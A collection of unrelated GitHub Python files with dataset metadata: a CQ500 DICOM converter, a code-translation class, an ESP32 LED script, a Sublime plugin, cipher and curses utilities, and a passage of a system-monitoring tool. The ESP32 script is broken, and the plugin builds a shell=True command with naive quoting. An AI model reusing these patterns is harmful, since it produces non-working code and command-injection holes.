vox_scl = np.array([dicom.SliceThickness, dicom.PixelSpacing[1], dicom.PixelSpacing[0]]).astype(np.float32)\n else: vox_scl = np.array([dicom.PixelSpacing[0], dicom.PixelSpacing[1], dicom.SliceThickness]).astype(np.float32)\n vox_scl /= vox_scl.min()\n vol_name = str(vol_dir.parent.parent.parent.name)\n except dicom_numpy.DicomImportException:\n print(f'Could not load {vol_dir}')\n continue\n yield vol, vox_scl, vol_name\n return vol_gen()\n\n@requires_dicom\n@requires_gdcm\ndef read_volume_dir(vol_dir, apply_dcm_rescale=False, permute_c_contiguous=True):\n rescale = None if apply_dcm_rescale else False\n try:\n vol, dicom = read_dicom_folder(vol_dir, rescale)\n if permute_c_contiguous:\n vol = np.ascontiguousarray(vol.transpose(2,1,0))\n vox_scl = np.array([dicom.SliceThickness, dicom.PixelSpacing[1], dicom.PixelSpacing[0]]).astype(np.float32)\n else: vox_scl = np.array([dicom.PixelSpacing[0], dicom.PixelSpacing[1], dicom.SliceThickness]).astype(np.float32)\n vox_scl /= vox_scl.min()\n vol_name = str(vol_dir.parent.parent.parent.name)\n except dicom_numpy.DicomImportException:\n print(f'Could not load {vol_dir}')\n return None\n return vol, vox_scl, vol_name\n\ndef traverse_cq500_folders(path, min_slices=1, max_slices=float(\"inf\")):\n ''' Traverses the CQ500 folder structure and extracts all paths pointing to a directory containing .dcm files\n Args:\n path (string, Path): Path to the CQ500 dataset.\n min_slices (int): Minimum number of slices (.dcm files) inside a DICOM directory\n max_slices (int): Maximum number of slices (.dcm files) inside a DICOM directory\n Returns:\n List of paths to directories containing an appropriate number of .dcm files (slices)\n '''\n path = Path(path)\n flatten = lambda l: [item for sublist in l for item in sublist]\n return list(\n filter(num_slices_between(min_slices, max_slices), # extract subdir with most files in it (highest res volume)\n flatten(\n map( lambda p: list(p.iterdir()), # get list of actual volume directorie\n map( lambda p: next(p.iterdir()), # cd into subfolders CQ500-CT-XX/Unknown Study/\n filter(lambda p: p.is_dir() and p.name.startswith('CQ500'), # Get all dirs, no files\n path.iterdir())))))) # Iterate over path directory\n\n@requires_dicom\n@requires_gdcm\ndef process_volumes(vol_dirs, save_path, dtype=torch.float16, num_workers=0, normalize_voxel_scl=False, normalize_intensities=True, print_info=False):\n ''' Processes volumes from a volume generator `vol_gen`, normalizes them, converts to PyTorch and saves to disk\n Args:\n vol_gen (generator): Generator returning tuples of volume, voxel scale and volume name, like `get_volume_gen`\n save_path (string, Path): Path to save the PyTorch tensors to\n dtype (torch.dtype): Final dtype to save the data. Normalization is always done with torch.float32\n num_workers (int): Number of processes to process the dataset.\n normalize_voxel_scl (bool): If True, resamples the volume to compensate for a non-uniform grid. Can drastically enlarge volume dimensions!\n normalize_intensities (bool): Whether the volume intensities is normalized by 4095 using `normalize_hounsfield`\n print_info (bool): Whether information about the result tensors is printed while processing\n '''\n assert isinstance(dtype, torch.dtype)\n save_path = Path(save_path)\n\n def _process_volume(vol_dir):\n vol, vox_scl, vol_name = read_volume_dir(vol_dir)\n vol = make_4d(torch.FloatTensor(vol.astype(np.float32)))\n vox_scl = torch.FloatTensor(vox_scl)\n if normalize_intensities: vol = normalize_hounsfield(vol)\n if normalize_voxel_scl:\n vol = make_4d(normalize_voxel_scale(vol, vox_scl).squeeze())\n vox_scl = torch.ones(3)\n file_path = save_path/f\"{vol_name.replace('-', '_')}.pt\"\n torch.save({\n 'vol': vol.to(dtype),\n 'vox_scl': vox_scl,\n 'name': vol_name,\n 'dataset': 'CQ500'\n }, file_path)\n if print_info: print(f'Saved Volume {vol_name} with shape {vol.shape} ({dtype}) (Vox Scale: {vox_scl}) to {file_path}')\n\n if not save_path.exists(): save_path.mkdir()\n pool_map(_process_volume, vol_dirs)\n\n@requires_dicom\n@requires_gdcm\ndef cq500_to_torch(path, target_path, num_workers=0, min_slices=0, max_slices=float(\"inf\")):\n vol_dirs = traverse_cq500_folders(path, min_slices, max_slices)\n process_volumes(vol_dirs, target_path, num_workers=num_workers)\n\nif __name__=='__main__':\n parser = ArgumentParser(\"CQ500 dataset preprocessor\", description='''\n Reads the CQ500 dataset from QureAI (http://headctstudy.qure.ai/dataset)\n in the original DICOM format and converts it to serialized PyTorch tensors.\n Expected qure_path structure:\n Qure_AI_Brain_CT / subfolders for subjects / subj name / Unknown Study / folders with .dcm's\n e.g. Qure_AI_Brain_CT/CQ500-CT-43/CQ500CT43 CQ500CT43/Unknown Study/CT 2.55mm/\n ''')\n parser.add_argument('qure_path', type=str, help='Path to the Qure_AI_Brain_CT root folder.')\n parser.add_argument('save_path', type=str, help='Path to save the serialized PyTorch tensors to.')\n parser.add_argument('-min_slices', type=int, default=0, help='Minimum number of slices to consider volume.')\n parser.add_argument('-max_slices', type=int, default=float(\"inf\"), help='Maximum number of slices to consider volume.')\n args = parser.parse_args()\n\n cq500_to_torch(args.qure_path, args.save_path, args.min_slices, args.max_slices)\n","repo_name":"torchvtk/torchvtk","sub_path":"torchvtk/converters/dicom/cq500.py","file_name":"cq500.py","file_ext":"py","file_size_in_byte":6926,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"13857768340","text":"\"\"\"Creates Space to Store all Conversions for all words\"\"\"\n\n\nfrom conversion_classes.conversion import Conversion\nfrom conversion_classes.conversion_filters import ConversionFilters\nfrom errors import ConversionFailed\n\n\nclass ConversionsSpace(dict):\n def __init__(self, state):\n \"\"\"Initiate ConversionsSpace Object\"\"\"\n\n self.state = state\n self.conversion_filters = ConversionFilters\n all_convs = self.state.database.to[\"to\"]\n self.func_call_convs = {}\n self.obj_mod_convs = {}\n self.word_replacement_map = {}\n self.applied_convs = {}\n self.locked_convs = set()\n self.convs = self.state.database.to[\"to\"][\"convs\"]\n self.obj_mod_convs = self.state.database.to[\"to\"][\"obj_mod_convs\"]\n self.eq_types = self.state.database.to[\"to\"][\"eq_types\"]\n self.func_call_convs = self.state.database.to[\"to\"][\"func_call_convs\"]\n self.lib_convs = self.state.database.to[\"to\"][\"lib_convs\"]\n self.main_stmts = all_convs[\"main_stmts\"]\n self.import_lib_func = all_convs[\"import_lib\"]\n self.boilerplate_to = all_convs[\"boilerplate\"]\n self.conv_func = all_convs[\"func_convert\"]\n self.conv_var = all_convs[\"var_convert\"]\n self.add_nglot_funcs = all_convs[\"add_nglot_funcs\"]\n self.get_coll_type = all_convs[\"get_coll_type\"]\n\n self.check_attrs_conv = all_convs[\"check_attrs\"]\n self.word_map = all_convs[\"word_map\"]\n self.word_map_applier = self.state.database.get_word_map_applier()\n\n self.get_type_from = self.state.database.from_[\"get_type\"]\n\n super().__init__()\n\n def get_conv(self, i, setting, start, end, conv_set=\"conversions\",\n all_=False):\n \"\"\"Get Conversion according to Setting\"\"\"\n\n if i in self:\n convs = self[i][conv_set]\n\n valid_convs = []\n for conv in convs:\n if conv.start >= start and conv.end <= end:\n if conv not in self.locked_convs:\n valid_convs.append(conv)\n\n if not valid_convs:\n if conv_set == \"conversions\":\n raise ConversionFailed(\n f\"Unable to Convert word '{self.state.words[i]}'\")\n if all_:\n return valid_convs\n\n if valid_convs:\n convs = ConversionFilters.filter_convs(valid_convs, setting)\n prioritized_convs = sorted(\n convs, key=lambda c: (c.conv[\"priority\"]\n if \"priority\" in c.conv\n else 0))\n for conv in prioritized_convs:\n if i == conv.trigger:\n return conv\n if all_:\n return []\n\n def add_conv(self, conv, conv_set=\"conversions\"):\n \"\"\"Add conversion to list of conversions for word\"\"\"\n\n for j in conv.aoe:\n j = self.state.words.new_index(j)\n if j not in self:\n self[j] = {\"conversions\": [], \"func_call\": [], \"obj_mod\": [],\n \"lib_conv\": []}\n\n self[j][conv_set].append(conv)\n\n def check(self, learner):\n \"\"\"\n Check if all words have conversions and\n remove conversions based on setting\n \"\"\"\n\n len_words = len(self.state.words)\n for i in self.state.words.iterate_range(0, len_words):\n if i not in self:\n if learner.get_input(i):\n self.state.conversions.find_conversions(i, i+1)\n continue\n\n raise ConversionFailed(\n f\"Unable to Convert '{self.state.words[i]}'\")\n\n def blank_conv(self, i, rng):\n \"\"\"Return Blank Conversion for given range\"\"\"\n\n return Conversion(self.state, i, rng, rng, {\"code\": \"\"}, {})\n\n def run_matcher(self, conv_dat, i):\n \"\"\"Run Matcher with given conv_dat with index i\"\"\"\n\n return self.run_matcher_params(conv_dat, {\"index\": i})\n\n def run_matcher_params(self, conv_dat, params):\n \"\"\"Run matcher with given parameters\"\"\"\n\n convs = []\n match_res = self.state.execute(conv_dat, params, func=\"match\")\n if match_res:\n if not isinstance(match_res, list):\n match_res = [match_res]\n\n for (trigger, rng, params) in match_res:\n if isinstance(rng, tuple):\n rng, aoe = rng\n else:\n aoe = rng\n convs.append(Conversion(\n self.state, trigger, rng, aoe, conv_dat, params))\n return convs\n\n def find_convs(self, i):\n \"\"\"Find All Conversions for given index\"\"\"\n \n other_convs = []\n for conv_name, conv_dat in self.convs.items():\n for conv in self.run_matcher(conv_dat, i):\n other_convs.append(conv)\n return other_convs\n\n def apply_conv(self, conv):\n \"\"\"Apply conversion\"\"\"\n\n if conv.trigger not in self.applied_convs:\n self.applied_convs[conv.trigger] = set()\n self.applied_convs[conv.trigger].add(conv)\n self.locked_convs.add(conv)\n\n converted_str = str(conv)\n self.locked_convs.remove(conv)\n return converted_str\n","repo_name":"Tejas-P-Herle/n-glot","sub_path":"conversion_classes/conversions_space.py","file_name":"conversions_space.py","file_ext":"py","file_size_in_byte":5313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4550911624","text":"# Chip: ESP32-WROOM-32 (ESP32-D0WDQ6)\n# Microprocessor: Dual-Core Xtensa® 32-bit LX6\n# Clock: 80MHz to 240Mhz\n# Crystal: 40MHz\n# SPÍ flash: 4 MB\n# Operating voltage: 3.0V-3.6V\n# Operating current: 80mA\n\n# Purpose: Control a LED with potentiometer\n\nimport machine\nimport utime\nimport sys\n\nLed = machine.Pin(2, machine.Pin.OUT)\nButton = machine.Pin(0, machine.Pin.IN, machine.Pin.PULL_UP)\nADCpin = machine.ADC(0)\nPWM = PWM(Pin(2))\n\nwhile True:\n if Button.value() == 0:\n sys.exit()\n\nAnalogValue = adc.read()\nAnalogValue = AnalogValue * (3.3 / 4095)\npwm.duty(AnalogValue)\nutime.sleep_ms(2)","repo_name":"JoelBuenrostro/micropython-for-esp32","sub_path":"Code/intermediate/analog_control.py","file_name":"analog_control.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"23836543734","text":"import subprocess\nimport sublime\nimport sublime_plugin\nimport os\nimport os.path\nimport platform\nimport json\nfrom os.path import dirname, realpath\n\nREFACTOR_PLUGIN_FOLDER = dirname(realpath(__file__)) + \"/\"\n\nclass RefactorBaseClass(sublime_plugin.TextCommand):\n\tcurrentCursorPosition = -1\n\n\t# def init(self, edit, active_group=False):\n\t# '''Restores user settings.'''\n\t# settings = sublime.load_settings('Refactor.sublime-settings')\n\n\t# for setting in ALL_SETTINGS:\n\t# if settings.get(setting) != None:\n\t# self.view.settings().set(setting, settings.get(setting))\n\n\t# NODE_PATH = self.view.settings().get('nodePath', 'node')\n\t# print((__name__ + '.sublime-settings'))\n\t# print(NODE_PATH)\n\n\tdef printError(self, message):\n\t\tprint('JS Truth Table Error: ' + message)\n\n\tdef executeNodeJsShell(self, cmd):\n\t\tout = \"\"\n\t\terr = \"\"\n\t\tresult = \"\"\n\t\tif (platform.system() is \"Windows\"):\n\t\t\tnewCmd = cmd\n\t\telse:\n\t\t\tnewCmd = \" \".join(\"'\" + str(x) + \"'\" for x in cmd)\n\n\t\tp = subprocess.Popen(newCmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t(out, err) = p.communicate()\n\t\tif err.decode('utf-8') != '':\n\t\t\tself.printError(str(err))\n\t\telse:\n\t\t\tresult = out\n\n\t\tif result:\n\t\t\treturn result.decode('utf-8')\n\t\telse:\n\t\t\treturn ''\n\nclass GeneratetruthCommand(RefactorBaseClass):\n\tdef run(self, edit):\n\t\tselection = self.view.substr(self.view.sel()[0])\n\t\tprint(selection)\n\n\t\tcmd = ['node', REFACTOR_PLUGIN_FOLDER + 'index.js', selection]\n\t\trefactoredText = self.executeNodeJsShell(cmd)\n\n\t\tnewBuffer = sublime.active_window().new_file()\n\t\tnewBuffer.insert(edit, 0, refactoredText)\n","repo_name":"dshook/sublime-JSTruthTable","sub_path":"truth_table.py","file_name":"truth_table.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17021442370","text":"class Bank:\n def __init__(self, name, account_type, balance):\n self.name = name\n self.account_type = account_type\n self.balance = balance\n self.max_amt = 10000\n self.min_amt = 20000\n\n def deposit(self):\n amount = int(input('Amount: '))\n if amount < self.max_amt:\n self.balance += amount\n return self.balance\n else:\n print('Amount Exceeded')\n\n def withdrawal(self):\n print('Current Balance:', self.balance)\n amount = int(input('Amount: '))\n\n if amount < self.min_amt:\n self.balance -= amount\n return self.balance\n else:\n print('min_amount exceeded')\n\n\ncustomer1 = Bank('Ajith', 'Savings', 40000)\n\n\n\n\n","repo_name":"jisshub/python-django-training","sub_path":"oops-bank.py","file_name":"oops-bank.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20163297810","text":"import curses\nfrom curses import wrapper\nimport time\nimport data\nimport thread\nimport objectcache\nimport httphandler\n\ngold_p = 0\nsilver_p = 0\nmax_y = 0\nmax_x = 0\n\nSTATE = 's'\nINSTRUMENT = ' '\nATTRIBUTE = ' '\n\ndef print_footer(stdscr, message):\n stdscr.move(max_y - 1, 0)\n stdscr.clrtoeol()\n stdscr.addstr(max_y - 1, 0, message)\n stdscr.refresh()\n\n\ndef init(stdscr):\n global max_y\n global max_x\n max_y = stdscr.getmaxyx()[0]\n max_x = stdscr.getmaxyx()[1]\n print_footer(stdscr, 'Initializting contracts...')\n stdscr.refresh()\n objectcache.CachedDict()\n curses.init_pair(1, curses.COLOR_RED, curses.COLOR_BLACK)\n curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK)\n\ndef display_price(stdscr):\n global gold_p\n global silver_p\n print_footer(stdscr, 'Displaying price...')\n \n while True:\n try:\n gold_p_n = data.get_gold()\n silver_p_n = data.get_silver()\n\n\n if gold_p_n > gold_p:\n stdscr.addstr(0, 0, 'Gold: {}'.format(gold_p_n), curses.color_pair(2))\n elif gold_p_n < gold_p:\n stdscr.addstr(0, 0, 'Gold: {}'.format(gold_p_n), curses.color_pair(1))\n if silver_p_n > silver_p:\n stdscr.addstr(0, 40, 'Silver: {}'.format(silver_p_n), curses.color_pair(2))\n elif silver_p_n < silver_p:\n stdscr.addstr(0, 40, 'Silver: {}'.format(silver_p_n), curses.color_pair(1))\n stdscr.refresh()\n time.sleep(0.2)\n stdscr.addstr(0, 0, 'Gold: {}'.format(gold_p_n), curses.color_pair(0))\n stdscr.addstr(0, 40, 'Silver: {}'.format(silver_p_n), curses.color_pair(0))\n \n gold_p = gold_p_n\n silver_p = silver_p_n\n stdscr.refresh()\n time.sleep(2.0)\n except:\n pass\n\ndef display_orderbook(stdscr, instr, att):\n stdscr.move(2,0)\n stdscr.clrtobot()\n contracts = objectcache.CachedDict().Traded[instr][att]\n i = 3\n for c in contracts:\n stdscr.addstr(i, 0, str(i-2) + ' ' +c.name)\n i = i + 1\n\ndef display_booknumber(stdscr, instr, att, n):\n contracts = objectcache.CachedDict().Traded[instr][att]\n try:\n c = contracts[n-1]\n except:\n print_footer(stdscr, 'Index out of change')\n stdscr.move(2,0)\n stdscr.clrtobot()\n stdscr.addstr(2,0, c.name)\n j = httphandler.getContractOrders(c.conID)\n\n stdscr.addstr(4, 15, '#')\n stdscr.addstr(4, 35, '#')\n stdscr.addstr(4, 20, 'Bid')\n stdscr.addstr(4, 40, 'Ask')\n i = 0\n for o in j['Bids']:\n stdscr.addstr(i+6, 15, str(o['Quantity']))\n stdscr.addstr(i+6, 20,\"{0:.2f}\".format(o['Price']/100000.00))\n i = i + 1\n i = 0\n for o in j['Asks']:\n stdscr.addstr(i+6, 35, str(o['Quantity']))\n stdscr.addstr(i+6, 40,\"{0:.2f}\".format(o['Price']/100000.00))\n i = i + 1\n\n stdscr.refresh()\n\n\ndef event_key(stdscr):\n global STATE\n global INSTRUMENT\n global ATTRIBUTE\n while True:\n try:\n c = stdscr.getch()\n if c == ord('q'):\n STATE = 'q'\n elif c == ord('p'):\n STATE = 'p'\n thread.start_new_thread(display_price, (stdscr,))\n elif c == ord('o'):\n STATE = 'o'\n print_footer(stdscr, '1.Gold End 2.Silver End 3.Gold Above 4.Silver Above')\n c = stdscr.getch()\n if c == ord('1'):\n display_orderbook(stdscr, 'Gold', 'End')\n INSTRUMENT = 'Gold'\n ATTRIBUTE = 'End'\n elif c == ord('2'):\n display_orderbook(stdscr, 'Silver', 'End')\n INSTRUMENT = 'Silver'\n ATTRIBUTE = 'End'\n elif c == ord('3'):\n display_orderbook(stdscr, 'Gold', 'Max')\n INSTRUMENT = 'Gold'\n ATTRIBUTE = 'Max'\n elif c == ord('4'):\n display_orderbook(stdscr, 'Silver', 'Max')\n INSTRUMENT = 'Silver'\n ATTRIBUTE = 'Max'\n else:\n print_footer(stdscr, 'Error input')\n stdscr.refresh()\n elif c >= ord('1') and c <= ord('9'):\n if STATE == 'o':\n display_booknumber(stdscr, INSTRUMENT, ATTRIBUTE, c - ord('1') + 1)\n elif c == ord('w'):\n print_footer(stdscr, 'sup')\n else:\n print_footer(stdscr, str(c))\n except:\n pass\n \ndef main(stdscr):\n global STATE\n init(stdscr)\n stdscr.clear()\n thread.start_new_thread(event_key, (stdscr,))\n while True:\n if STATE == 'q':\n break\n time.sleep(0.2)\n\nif __name__ == '__main__':\n wrapper(main)\n","repo_name":"JohnnyJohnAndTheFunkyBunch/predictious-bot","sub_path":"src/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"72"} +{"seq_id":"31301003312","text":"import numpy as np\nimport re\n\nalphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\nclass PlayfairCipher :\n def __init__(self):\n self.playfair_square = [['' for y in range(5)] for x in range(5)]\n\n def preprocess_text(self, text) :\n \"\"\"\n Preprocess text by removing non-alphabetic characters, and uppercasing the text\n \"\"\"\n preprocessed_text = re.sub(r\"[^a-zA-Z]\", '', text)\n preprocessed_text = preprocessed_text.upper()\n return preprocessed_text\n\n def postprocess_text(self, text) :\n \"\"\"\n Postprocess text by adding whitespace in every 5 consecutive characters in the text\n \"\"\"\n postprocessed_text = [text[i:i+5] for i in range(0, len(text), 5)]\n postprocessed_text = ' '.join(postprocessed_text)\n return postprocessed_text\n\n def generate_playfair_square(self, key) :\n \"\"\"\n Generate Playfair Square based on given preprocessed key\n \"\"\"\n key = self.preprocess_text(key)\n key = re.sub(r\"[J]\", '', key)\n key = ''.join([j for i, j, in enumerate(key) if j not in key[:i]])\n key = key + re.sub(rf\"[{key + 'J'}]\", '', alphabet)\n for i in range(5) :\n for j in range(5) :\n self.playfair_square[i][j] = key[i*5 + j]\n self.playfair_square = np.array(self.playfair_square)\n\n def encrypt(self, plaintext, key, spacing=False) :\n \"\"\"\n Encrypt plaintext by given key using Playfair Cipher algorithm\n \"\"\"\n if len(plaintext) == 0 :\n raise Exception(\"Plaintext cannot be empty\")\n\n plaintext = self.preprocess_text(plaintext)\n self.generate_playfair_square(key)\n\n encrypted = ''\n new_plaintext = ''\n\n if len(plaintext) < 2 :\n new_plaintext = plaintext\n else :\n for i in range(len(plaintext)-1) :\n new_plaintext += plaintext[i]\n if plaintext[i] == plaintext[i+1] :\n new_plaintext += 'X'\n new_plaintext += plaintext[-1]\n\n if len(new_plaintext) & 1 :\n new_plaintext += 'X'\n\n for i in range(0, len(new_plaintext), 2) :\n row_1, col_1 = np.where(self.playfair_square == new_plaintext[i])\n row_2, col_2 = np.where(self.playfair_square == new_plaintext[i+1])\n if row_1 == row_2 :\n encrypted += self.playfair_square[row_1][0][(col_1+1) % 5][0]\n encrypted += self.playfair_square[row_2][0][(col_2+1) % 5][0]\n elif col_1 == col_2 :\n encrypted += self.playfair_square[(row_1+1) % 5][0][col_1][0]\n encrypted += self.playfair_square[(row_2+1) % 5][0][col_2][0]\n else :\n encrypted += self.playfair_square[row_1][0][col_2][0]\n encrypted += self.playfair_square[row_2][0][col_1][0]\n\n if spacing :\n encrypted = self.postprocess_text(encrypted)\n\n return encrypted\n\n def decrypt(self, ciphertext, key, spacing=False) :\n \"\"\"\n Decrypt ciphertext by given key using Playfair Cipher algorithm\n \"\"\"\n ciphertext = self.preprocess_text(ciphertext)\n self.generate_playfair_square(key)\n\n decrypted = ''\n\n for i in range(0, len(ciphertext), 2) :\n row_1, col_1 = np.where(self.playfair_square == ciphertext[i])\n row_2, col_2 = np.where(self.playfair_square == ciphertext[i+1])\n if row_1 == row_2 :\n decrypted += self.playfair_square[row_1][0][(col_1-1) % 5][0]\n decrypted += self.playfair_square[row_2][0][(col_2-1) % 5][0]\n elif col_1 == col_2 :\n decrypted += self.playfair_square[(row_1-1) % 5][0][col_1][0]\n decrypted += self.playfair_square[(row_2-1) % 5][0][col_2][0]\n else :\n decrypted += self.playfair_square[row_1][0][col_2][0]\n decrypted += self.playfair_square[row_2][0][col_1][0]\n\n decrypted = re.sub(r\"[X]\", '', decrypted)\n\n if spacing :\n decrypted = self.postprocess_text(decrypted)\n\n return decrypted\n\n# pc = PlayfairCipher()\n# plaintext = \"temui ibu nanti malam\"\n# key = \"jalan ganesha sepuluh\"\n# encrypted = pc.encrypt(plaintext, key, True)\n# print(encrypted)\n# decrypted = pc.decrypt(encrypted, key, True)\n# print(decrypted)","repo_name":"ahmadnaufalhakim/classical-cryptography","sub_path":"src/playfair_cipher.py","file_name":"playfair_cipher.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5853778161","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport os\n\ntry:\n link = \"http://suninjuly.github.io/file_input.html\"\n browser = webdriver.Chrome()\n browser.get(link)\n\n name = browser.find_element(By.CSS_SELECTOR, \"[placeholder='Enter first name']\")\n name.send_keys('Stanislav')\n\n lastname = browser.find_element(By.CSS_SELECTOR, \"[placeholder='Enter last name']\")\n lastname.send_keys('Sannikov')\n\n email = browser.find_element(By.CSS_SELECTOR, \"[placeholder='Enter email']\")\n email.send_keys('test@test.ru')\n\n directory = os.path.abspath(os.path.dirname('C:/Users/Слава/Desktop/'))\n name_file = os.path.join(directory, 'test.txt')\n send_file = browser.find_element(By.CSS_SELECTOR, \"#file\")\n send_file.send_keys(name_file)\n\n button = browser.find_element(By.CSS_SELECTOR, '.btn')\n button.click()\n\nfinally:\n time.sleep(10)\n browser.quit()\n\n","repo_name":"reksher/stepik_auto_tests_course","sub_path":"lesson2.2_steep8.py","file_name":"lesson2.2_steep8.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15357109774","text":"alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\", \" \"]\n\n\ndef letter_loc(word):\n return alphabet.index(word.lower())\n\n\ndef name_pos(word):\n a = ''\n for letter in word:\n a += str(letter_loc(letter))\n\n print(a)\n return a\n\nprint(name_pos(\"hello\"))","repo_name":"Nosajthe1/course-notes-je","sub_path":"quickTest.py","file_name":"quickTest.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"pms","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71201610794","text":"'''\nGiven an integer n, return the number of prime numbers that are strictly less than n.\n\nExample 1:\nInput: n = 10\nOutput: 4\nExplanation: There are 4 prime numbers less than 10, they are 2, 3, 5, 7.\n\nExample 2:\nInput: n = 0\nOutput: 0\n\nExample 3:\nInput: n = 1\nOutput: 0\n'''\n\nclass Solution:\n def countPrimes(self, n: int) -> int:\n # 建立一個array,紀錄小於n以下有哪些數不是質數。True: 不是質數, False: 是質數 \n # 預設一開始都是質數\n lstNoPrimes = [False]*n \n res = 0\n\n for i in range(2, n):\n if not lstNoPrimes[i]:\n # print(f\"i:{i}\")\n res+=1\n \n ''' 以質數為因數去乘2,3,4...的數就不是質數。\n Ex:\n 2*2, 2*3, 2*4... \n 3*2, 3*3, 3*4... \n '''\n for j in range(2, n):\n index = i*j\n if index >= n:\n break\n \n lstNoPrimes[index] = True\n \n\n return res\n","repo_name":"LeamonLee/leetcode_practice","sub_path":"Algorithm/204. Count Primes.py","file_name":"204. Count Primes.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70911519592","text":"# -----------------------------------------------------------\n# File: sysman.py\n# Author: Andrew Fox User ID: afox797 Class: CPS 250\n# Desc: This program displays system information specified by the user.\n# Also supports a server mode where clients can obtain system info.\n# -----------------------------------------------------------\n\n\nimport argparse\nimport re\nimport subprocess\nimport socket\nimport sys\nimport signal\nfrom contextlib import redirect_stdout\nfrom threading import Thread\nfrom datetime import datetime\n\n\nclass SystemUtils:\n\n # Displays the amount of users and memory available in kilobytes\n def sys_info(self):\n user_regex = r'\\d+(?= user)'\n\n top_process = subprocess.Popen([\"top\", \"-n\", \"1\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n top_output = top_process.communicate()[0]\n users = re.findall(user_regex, top_output)\n if len(users) >= 1:\n user_amt = users[0]\n else:\n user_amt = 0\n\n\n cat_process = subprocess.Popen([\"cat\", \"/proc/meminfo\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n text=True)\n mem_process = subprocess.Popen([\"awk\", \"{print $2}\"], stdin=cat_process.stdout, stderr=subprocess.PIPE,\n stdout=subprocess.PIPE, text=True)\n cat_process.wait()\n mem_output = mem_process.communicate()[0]\n mem = mem_output.split(\"\\n\")\n\n print(\"{} users, {} kb available\".format(user_amt, mem[2]))\n\n # Uses information from ps and the /proc directory to display the pid, app name, owner, memory consumed, and\n # cumulative CPU time for each process.\n def ps(self):\n name_regex = r\"(Name:\\s*)([a-zA-Z]+)\"\n\n ps_process = subprocess.Popen([\"ps\", \"aux\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n psPid_output = subprocess.Popen([\"awk\", \"{print $2}\"], stdin=ps_process.stdout, stdout=subprocess.PIPE,\n text=True)\n ps_process.wait()\n pid_output = psPid_output.communicate()[0]\n\n pids = pid_output.split(\"\\n\")\n pids.pop(0)\n pids.pop(len(pids) - 1)\n\n print(\"{:<8s} {:<15s} {:<15s} {:<8s} {:}\".format(\"PID\", \"NAME\", \"USER\", \"RSS\", \"TIME\"))\n for pid in pids:\n owner_name, app_name = \"\", \"\"\n vm = 0\n uptime = \"0:00\"\n\n owner_process = subprocess.Popen([\"ps\", \"-u\", \"-p\", f\"{pid}\"], stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, text=True)\n owner_output = subprocess.Popen([\"awk\", \"{print $1, $6, $10}\"], stdin=owner_process.stdout,\n stdout=subprocess.PIPE, text=True)\n owner_process.wait()\n\n owners = owner_output.communicate()[0]\n output = \"\\n\".join(owners.splitlines()[-1:]).split(\" \")\n\n if output[0] != \"USER\":\n owner_name = output[0]\n if output[1] != \"RSS\":\n vm = output[1]\n if output[2] != \"TIME\":\n uptime = output[2]\n\n pid_process = subprocess.Popen([\"cat\", f\"/proc/{pid}/status\"], stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, text=True)\n pid_output = pid_process.communicate()[0]\n names = re.findall(name_regex, pid_output)\n if len(names) == 1:\n app_name = names[0][1]\n\n print(\"{:<8s} {:<15s} {:<15s} {:<8s} {:}\".format(str(pid), str(app_name), str(owner_name), str(vm),\n str(uptime)))\n\n # executes a specified command and displays its output in real time\n def exec(self, command):\n executed_process = subprocess.Popen(command[0].split(\" \"), stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, text=True)\n for line in executed_process.stdout:\n print(f\"{line.strip()}\")\n\n executed_process.communicate()\n\n\nclass MonitorThread(Thread):\n\n def __init__(self, src_ip, log_addr, log_port):\n super().__init__()\n self.src_ip = src_ip\n self.log_addr = log_addr\n self.log_port = log_port\n\n # monitors tcpdump for matching ip, sends UDP message and prints to stdout if there is a match\n def run(self):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n monitor_process = subprocess.Popen([\"tcpdump\", \"--immediate-mode\", \"-l\", \"-q\", \"--direction=in\", \"-n\", \"ip\"],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n\n for entry in monitor_process.stdout:\n current_time = datetime.now()\n date_time = current_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n results = entry.split(\" \")\n size = results[-1]\n ip = results[2]\n trimmed_ip = ip[0:ip.rfind(\".\")]\n\n if self.src_ip == trimmed_ip:\n string_to_send = f\"{date_time} {self.src_ip} {size}\"\n print(string_to_send)\n encoded = string_to_send.encode()\n sock.sendto(bytearray(encoded), (f'{self.log_addr}', int(self.log_port)))\n\n\nclass WorkerThread(Thread):\n\n def __init__(self, worker_sock, 